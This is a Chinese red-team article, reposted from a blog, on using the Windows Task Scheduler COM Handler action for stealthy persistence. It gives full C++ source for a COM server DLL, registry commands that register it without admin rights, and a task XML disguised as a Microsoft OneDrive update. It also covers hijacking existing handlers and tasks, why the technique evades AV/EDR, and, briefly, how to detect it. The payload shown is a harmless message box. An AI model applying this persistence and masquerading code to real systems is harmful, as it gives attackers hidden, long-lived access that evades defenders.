Windows任务计划COMHandler在权限维持中的应用

admin 2026-01-26 02:32:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析Windows任务计划COMHandler技术在红队权限维持中的应用。文章阐述了其通过DLL加载实现原生免杀与隐蔽执行的优势,提供了C++开发COM服务端、注册表配置及XML任务创建的完整实战代码,并探讨了进程链隐蔽性与检测防御思路。 综合评分: 95 文章分类: 红队,免杀,内网渗透,终端安全,实战经验


cover_image

Windows任务计划COM Handler在权限维持中的应用

原创

ybdt ybdt

卡卡罗特取西经

2026年1月24日 10:31 吉林

本文首发于先知社区:https://xz.aliyun.com/news/91279

0x1 前言

先知社区中没看到关于Windows任务计划COM Handler的文章,遂写一篇关于Windows任务计划COM Handler

本文会先介绍Windows任务计划COM Handler是什么(下文简称COM Handler),然后介绍它在权限维持中的应用,最后介绍通过C++实现COM Handler、通过注册表注册COM Handler、通过任务计划调用COM Handler

0x2 COM Handler是什么

我们都知道Windows任务计划中的动作包括:启动程序、发送电子邮件、显示消息

image

其实还有一个动作叫COM Handler,我们无法通过任务计划的GUI或CLI直接指定动作为COM Handler,但可以通过导入xml文件或调用任务计划API的方式创建,先看看它的样子,如下图所示,COM Handler创建后,动作的名字是Custom Handler

image

那COM Handler是什么呢,在Windows任务计划程序中,COM Handler是一种特殊的动作,与传统的“启动程序”或“发送电子邮件”不同,它允许任务计划程序调用一个注册在系统中的 COM 对象来执行特定的逻辑。

简单来说,当任务触发时,任务计划程序不会启动一个新的exe进程,而是加载一个指定的dll文件并在任务计划程序的进程中运行代码

0x3 COM Handler滥用

看完上面的介绍,经常搞Windows终端攻防的同学都会想到,这是原生免杀的命令执行和权限维持特性,攻击者可以利用这个特性执行恶意dll,dll运行在任务计划宿主进程taskhostw.exe中,原生实现了进程注入,再配置创建任务计划,还可隐蔽实现权限维持,隐蔽性主要体现在以下几个方面

1.执行方式多种多样

正常流程是自己实现一个COM Handler,注册到系统,创建任务计划,其中注册到系统这个环节还可以劫持系统中已注册的COM Handler(修改已有COM Handler对应的注册表项,使其指向自己的dll)

  • • 通过reg add的方式,或通过reg import的方式
  • • 通过注册表API
  • • 通过INF文件的方式,通过INF文件修改注册表本质是SetupAPI.dll在修改注册表,这是一个白文件,也可以绕过部分安全软件的监测
  • • 等等

创建任务计划这个环节,还可以劫持系统中已有的任务计划(修改已有任务计划配置文件中的CLSID,使其指向自己的COM Handler),甚至可以将COM Handler设置为第二个动作,不同AV/EDR的侧重点是不同的,上述这么多方式,我相信总有一种对你有用

2.进程链更干净

AV/EDR或病毒分析师经常通过可疑的进程链来判定某个白文件是否被滥用,比如任务计划进程的子进程是cmd.exe、powershell.exe、rundll32.exe等,则被认为是可疑的,在某些严格的组织中,不仅仅是cmd.exe、powshell.exe,如果子进程是不常见的程序、或进程对应的程序位于非常见路径下(比如非C:\Windows\System32),均会触发告警

但当使用COM Handler时,执行COM Handler的进程是dllhost.exe,所以任务计划进程的子进程是dllhost.exe,dllhost.exe载入dll也是一个常规操作,大大降低了可疑性

正常创建一个任务计划,新进程会作为任务计划服务程序的子进程,如下图所示:svchost.exe -k netsvcs -p -s Schedule下面出现了cmd.exe,通常被认为是可疑的

image

当使用COM Handler时,执行dll的是dllhost.exe,进程链变成了svchost.exe -> dllhost.exe,命令行参数是/Processid:{6B9279D0-D220-4288-AFDF-E424F558FEF2},很难被界定为是可疑操作

image

3.参数更隐蔽

很多AV/EDR也会通过进程的命令行参数来检测恶意行为,比如经典的mimikatz提取凭证时用到的参数

privilege::debug
sekurlsa::logonpasswords

而COM Handler传给dllhost的是一串CLSID,很难被界定为是可疑参数

之前在护网行动中也使用过这项技术,在触发AV/EDR告警时,怀疑安全运营人员由于找不到恶意文件在哪里,甚至会将其加白

0x4 COM Handler实现权限维持

先捋一下底层逻辑:

当创建的计划任务被触发时,任务计划程序(此时作为COM客户端)从配置文件中获取CLSID传给COM运行时,COM运行时根据CLSID从注册表中查询DLL(此时作为COM服务端)的位置,COM运行时将DLL载入到内存后,从DLL中查找固定名称的函数DllGetClassObject

也就是说DLL首先需要实现导出函数DllGetClassObject,然后就是常规的,先创建类工厂(Class Factory)对象,再通过类工厂对象创建TaskHandler对象,最后通过TaskHandler对象中的方法Start执行恶意代码,其实我们就是实现了一个COM服务端

相应的实现过程分为三步

  1. 1. 开发一个DLL形式的COM服务端
  2. 2. 注册COM,将开发好的DLL注册到相应的注册表位置
  3. 3. 创建计划任务,只能通过XML或API的方式创建

COM服务端开发

Source.def,声明dllmain中需要导出的函数

LIBRARY ComActionCpp
EXPORTS
    DllCanUnloadNow   PRIVATE
    DllGetClassObject PRIVATE

dllmain.cpp,注释中包含相应解释

#include&nbsp;<initguid.h>
#include&nbsp;<comdef.h>
#include&nbsp;"ClassFactory.hpp"
#include&nbsp;"TaskHandler.hpp"

// 此处的值需要是注册表中注册的CLSID
extern "C" {
&nbsp; &nbsp; DEFINE_GUID(CLSID_TaskHandler, 0xECABD3A3, 0x725D, 0x4334, 0xAA, 0xFC, 0xBB, 0x13, 0x23, 0x4F, 0x12, 0x02);
}

extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
&nbsp; &nbsp; return TRUE;
}

#pragma&nbsp;warning(push)
#pragma&nbsp;warning(disable: 28252)
#pragma&nbsp;warning(disable: 28251)

// COM运行时载入DLL后,会首先调用名为DllGetClassObject的函数
// 创建类工厂对象后,传给COM运行时,COM运行时拿到类工厂对象后,创建TaskHandler对象
// 最后将TaskHandler对象传给COM客户端(任务计划程序),由COM客户端调用其中的方法Start
STDAPI DllGetClassObject(_In_ REFCLSID clsid, _In_ REFIID iid, _Outptr_ LPVOID FAR* ppv)
{
&nbsp; &nbsp; if (IsEqualGUID(clsid, CLSID_TaskHandler))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; ClassFactory* pAddFact = new ClassFactory();
&nbsp; &nbsp; &nbsp; &nbsp; if (pAddFact == NULL)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return E_OUTOFMEMORY;
&nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return pAddFact->QueryInterface(iid, ppv);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; return CLASS_E_CLASSNOTAVAILABLE;
}

// COM运行时最后卸载DLL时,会调用这个函数
STDAPI DllCanUnloadNow(void)
{
&nbsp; &nbsp; if (g_nComObjsInUse == 0)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; return S_OK;
&nbsp; &nbsp; }
&nbsp; &nbsp; else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; return S_FALSE;
&nbsp; &nbsp; }
}
#pragma&nbsp;warning(pop)

ClassFactory.hpp,类工厂头文件

#pragma&nbsp;once

#include&nbsp;<comdef.h>
#include&nbsp;"TaskHandler.hpp"

#define&nbsp;COM_CLASS_NAME CTaskHandler

class ClassFactory : public IClassFactory
{
public:
&nbsp; &nbsp; ClassFactory()
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; InterlockedIncrement(&m_nRefCount);
&nbsp; &nbsp; }

&nbsp; &nbsp; ~ClassFactory()
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; InterlockedDecrement(&m_nRefCount);
&nbsp; &nbsp; }

&nbsp; &nbsp; // IUnknown中的3个方法必须实现
&nbsp; &nbsp; STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override;
&nbsp; &nbsp; STDMETHODIMP_(ULONG) AddRef() override;
&nbsp; &nbsp; STDMETHODIMP_(ULONG) Release() override;

&nbsp; &nbsp; // IClassFactory中的2个方法必须实现
&nbsp; &nbsp; STDMETHODIMP CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv);
&nbsp; &nbsp; STDMETHODIMP LockServer(_In_ BOOL bLock);

private:
&nbsp; &nbsp; long m_nRefCount;
};

ClassFactory.cpp,类工厂实现文件

#include&nbsp;"ClassFactory.hpp"

STDMETHODIMP ClassFactory::CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
&nbsp; &nbsp; COM_CLASS_NAME* pTaskHandler;
&nbsp; &nbsp; if (!ppv) { return E_INVALIDARG; }
&nbsp; &nbsp; if (pUnknownOuter) { return CLASS_E_NOAGGREGATION; }
&nbsp; &nbsp; pTaskHandler = new COM_CLASS_NAME();
&nbsp; &nbsp; if (!pTaskHandler) { return E_OUTOFMEMORY; }
&nbsp; &nbsp; return pTaskHandler->QueryInterface(riid, ppv);
}

STDMETHODIMP ClassFactory::LockServer(_In_ BOOL bLock)
{
&nbsp; &nbsp; UNREFERENCED_PARAMETER(bLock);
&nbsp; &nbsp; return S_OK;
}

STDMETHODIMP ClassFactory::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
&nbsp; &nbsp; if (!ppv) { return E_INVALIDARG; }
&nbsp; &nbsp; if (IsEqualGUID(riid, IID_IUnknown))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; *ppv = static_cast<IUnknown*>(this);
&nbsp; &nbsp; }
&nbsp; &nbsp; else if (IsEqualGUID(riid, IID_IClassFactory))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; *ppv = static_cast<IClassFactory*>(this);
&nbsp; &nbsp; }
&nbsp; &nbsp; else {
&nbsp; &nbsp; &nbsp; &nbsp; *ppv = NULL;
&nbsp; &nbsp; &nbsp; &nbsp; return E_NOINTERFACE;
&nbsp; &nbsp; }
&nbsp; &nbsp; AddRef();
&nbsp; &nbsp; return S_OK;
}

STDMETHODIMP_(ULONG) ClassFactory::AddRef()
{
&nbsp; &nbsp; return InterlockedIncrement(&m_nRefCount);
}

STDMETHODIMP_(ULONG) ClassFactory::Release()
{
&nbsp; &nbsp; LONG nRefCount = 0;
&nbsp; &nbsp; nRefCount = InterlockedDecrement(&m_nRefCount);
&nbsp; &nbsp; if (nRefCount == 0) delete this;
&nbsp; &nbsp; return nRefCount;
}

TaskHandler.hpp,注释中包含相应解释

#pragma&nbsp;once

#include&nbsp;<taskschd.h>
#include&nbsp;<comdef.h>

extern long g_nComObjsInUse;

class CTaskHandler : public ITaskHandler
{
public:
&nbsp; &nbsp; CTaskHandler();
&nbsp; &nbsp; virtual ~CTaskHandler();

&nbsp; &nbsp; // IUnknown中的3个方法必须实现
&nbsp; &nbsp; STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override;
&nbsp; &nbsp; STDMETHODIMP_(ULONG) AddRef() override;
&nbsp; &nbsp; STDMETHODIMP_(ULONG) Release() override;

&nbsp; &nbsp; // 下列为自定义方法
&nbsp; &nbsp; STDMETHODIMP Start(IUnknown* handler, BSTR data) override;
&nbsp; &nbsp; STDMETHODIMP Stop(HRESULT* retCode) override;
&nbsp; &nbsp; STDMETHODIMP Pause() override;
&nbsp; &nbsp; STDMETHODIMP Resume() override;
private:
&nbsp; &nbsp; long m_nRefCount;
};

TaskHandler.cpp,头文件TaskHandler.hpp对应的实现

#include&nbsp;<initguid.h>
#include&nbsp;<ObjIdl.h>
#include&nbsp;<Windows.h>
#include&nbsp;"TaskHandler.hpp"

DEFINE_GUID(IID_ITaskHandler, 0x839d7762, 0x5121, 0x4009, 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04);

extern "C" DWORD WINAPI init() {
&nbsp; &nbsp; MessageBoxA(NULL, "Title", "Hello ybdt, I am from COM Handler", 0);
&nbsp; &nbsp; return 0;
}

CTaskHandler::CTaskHandler()
{
&nbsp; &nbsp; InterlockedIncrement(&m_nRefCount);
}

CTaskHandler::~CTaskHandler()
{
&nbsp; &nbsp; InterlockedDecrement(&m_nRefCount);
}

STDMETHODIMP CTaskHandler::Start(IUnknown* handler, BSTR data)
{
&nbsp; &nbsp; STARTUPINFOA si;
&nbsp; &nbsp; PROCESS_INFORMATION pi;
&nbsp; &nbsp; ZeroMemory(&si, sizeof(si));
&nbsp; &nbsp; si.cb = sizeof(si);
&nbsp; &nbsp; ZeroMemory(&pi, sizeof(pi));
&nbsp; &nbsp; init();
&nbsp; &nbsp; return S_OK;
}

STDMETHODIMP CTaskHandler::Stop(HRESULT* retCode)
{
&nbsp; &nbsp; ExitProcess(0);
&nbsp; &nbsp; return S_OK;
}

STDMETHODIMP CTaskHandler::Pause()
{
&nbsp; &nbsp; ExitProcess(0);
&nbsp; &nbsp; return S_OK;
}

STDMETHODIMP CTaskHandler::Resume()
{
&nbsp; &nbsp; return S_OK;
}

STDMETHODIMP CTaskHandler::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
&nbsp; &nbsp; if (!ppv) { return E_INVALIDARG; }

&nbsp; &nbsp; if (IsEqualGUID(riid, IID_IUnknown))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; *ppv = static_cast<IUnknown*>(this);
&nbsp; &nbsp; }
&nbsp; &nbsp; else if (IsEqualGUID(riid, IID_ITaskHandler))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; *ppv = static_cast<ITaskHandler*>(this);
&nbsp; &nbsp; }
&nbsp; &nbsp; else {
&nbsp; &nbsp; &nbsp; &nbsp; *ppv = NULL;
&nbsp; &nbsp; &nbsp; &nbsp; return E_NOINTERFACE;
&nbsp; &nbsp; }

&nbsp; &nbsp; AddRef();
&nbsp; &nbsp; return S_OK;
}

STDMETHODIMP_(ULONG) CTaskHandler::AddRef()
{
&nbsp; &nbsp; return InterlockedIncrement(&m_nRefCount);
}

STDMETHODIMP_(ULONG) CTaskHandler::Release()
{
&nbsp; &nbsp; LONG nRefCount = 0;
&nbsp; &nbsp; nRefCount = InterlockedDecrement(&m_nRefCount);
&nbsp; &nbsp; if (nRefCount == 0) delete this;
&nbsp; &nbsp; return nRefCount;
}

代码放到:https://github.com/ybdt/evasion-hub/tree/master/05-Persistence/COM-Handler

编译后的文件为ComActionCpp.dll,经测试,名字和后缀都可以随意更改,我们将它改为comhandler.dat,位置也是我们自定义的,我们将它放在C:\Users\admin\Desktop\test下

COM服务端注册

一共需要创建6个注册表项

reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}"

reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}" /v "AppId" /t REG_SZ /d "{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"

reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /d "C:\Users\admin\Desktop\test\comhandler.dat"

reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both"

reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"

reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}" /v "DllSurrogate" /t REG_SZ

由于都是在HKCU下操作,所以不需要管理员权限也可以

上述是在本地测试,实战中可以使用trustedsec的项目CS-Remote-OPs-BOF中的reg_set:https://github.com/trustedsec/CS-Remote-OPs-BOF

任务计划创建

任务计划定义了2种触发器,一种是任务计划创建后立即执行,另一种是每隔1小时执行一次,XML文件如下

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
&nbsp; <RegistrationInfo>
&nbsp; &nbsp; <Author>Microsoft Corporation</Author>
&nbsp; &nbsp; <URI>\OneDrive Standalone Update Task-S-1-5-21-1299387972-143441575-8753562129-1001</URI>
&nbsp; </RegistrationInfo>
&nbsp; <Triggers>
&nbsp; &nbsp; <RegistrationTrigger id="Registration Trigger">
&nbsp; &nbsp; &nbsp; <Enabled>true</Enabled>
&nbsp; &nbsp; </RegistrationTrigger>
&nbsp; &nbsp; <CalendarTrigger>
&nbsp; &nbsp; &nbsp; <Repetition>
&nbsp; &nbsp; &nbsp; &nbsp; <Interval>PT1H</Interval>
&nbsp; &nbsp; &nbsp; &nbsp; <Duration>P1D</Duration>
&nbsp; &nbsp; &nbsp; &nbsp; <StopAtDurationEnd>false</StopAtDurationEnd>
&nbsp; &nbsp; &nbsp; </Repetition>
&nbsp; &nbsp; &nbsp; <StartBoundary>2022-01-12T12:40:56</StartBoundary>
&nbsp; &nbsp; &nbsp; <Enabled>true</Enabled>
&nbsp; &nbsp; &nbsp; <ScheduleByDay>
&nbsp; &nbsp; &nbsp; &nbsp; <DaysInterval>1</DaysInterval>
&nbsp; &nbsp; &nbsp; </ScheduleByDay>
&nbsp; &nbsp; </CalendarTrigger>
&nbsp; </Triggers>
&nbsp; <Principals>
&nbsp; &nbsp; <Principal id="Author">
&nbsp; &nbsp; &nbsp; <LogonType>InteractiveToken</LogonType>
&nbsp; &nbsp; &nbsp; <RunLevel>LeastPrivilege</RunLevel>
&nbsp; &nbsp; </Principal>
&nbsp; </Principals>
&nbsp; <Settings>
&nbsp; &nbsp; <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
&nbsp; &nbsp; <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
&nbsp; &nbsp; <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
&nbsp; &nbsp; <AllowHardTerminate>true</AllowHardTerminate>
&nbsp; &nbsp; <StartWhenAvailable>true</StartWhenAvailable>
&nbsp; &nbsp; <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
&nbsp; &nbsp; <IdleSettings>
&nbsp; &nbsp; &nbsp; <StopOnIdleEnd>false</StopOnIdleEnd>
&nbsp; &nbsp; &nbsp; <RestartOnIdle>false</RestartOnIdle>
&nbsp; &nbsp; </IdleSettings>
&nbsp; &nbsp; <AllowStartOnDemand>true</AllowStartOnDemand>
&nbsp; &nbsp; <Enabled>true</Enabled>
&nbsp; &nbsp; <Hidden>false</Hidden>
&nbsp; &nbsp; <RunOnlyIfIdle>false</RunOnlyIfIdle>
&nbsp; &nbsp; <WakeToRun>false</WakeToRun>
&nbsp; &nbsp; <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
&nbsp; &nbsp; <Priority>7</Priority>
&nbsp; &nbsp; <RestartOnFailure>
&nbsp; &nbsp; &nbsp; <Interval>PT1H</Interval>
&nbsp; &nbsp; &nbsp; <Count>999</Count>
&nbsp; &nbsp; </RestartOnFailure>
&nbsp; </Settings>
&nbsp; <Actions Context="Author">
&nbsp; &nbsp; <ComHandler>
&nbsp; &nbsp; &nbsp; <ClassId>{ECABD3A3-725D-4334-AAFC-BB13234F1202}</ClassId>
&nbsp; &nbsp; </ComHandler>
&nbsp; </Actions>
</Task>

使用如下命令将创建任务计划

schtasks.exe /create /xml "task.xml" /tn "Test Schedule"

同样,在实战中我们可以使用trustedsec的项目CS-Remote-OPs-BOF中的schtaskscreate:https://github.com/trustedsec/CS-Remote-OPs-BOF

可以看到成功执行我们的COM Handler

image

0x5 COM Handler检测

在任务计划的GUI和CLI中是无法看到对应的dll文件,需要

  1. 1. 通过任务计划XML文件获取CLSID
  2. 2. 查询那个CLSID在注册表的位置
  3. 3. 检查CLSID的子项InProcSever32指向的文件是否是恶意文件

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:卡卡罗特取西经 ybdt ybdt《Windows任务计划COM Handler在权限维持中的应用》

评论:0   参与:  0